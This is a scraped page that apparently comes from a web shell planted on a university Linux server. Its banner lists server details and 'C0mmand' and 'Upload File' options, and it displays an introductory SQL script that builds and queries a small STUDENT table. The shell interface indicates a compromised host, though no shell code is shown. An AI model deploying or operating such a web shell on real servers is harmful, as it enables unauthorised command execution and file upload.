|
Server IP : 172.16.15.8 / Your IP : 18.227.114.218 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/gskellam/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
-- Script to create a table, insert records, and display the table /* File name: file1.sql copy/download the script to your working directory, and run it with source command */ drop table STUDENT; create table STUDENT (ID int, FIRSTNAME varchar(20), LASTNAME varchar(20), GENDER varchar(6)); insert into STUDENT values (1001, "Josh", "Smith", "Male"); insert into STUDENT values (1002, "Ann", "Brown", "Female"); select * from STUDENT; -- remove a record: -- delete from STUDENT where ID=1001;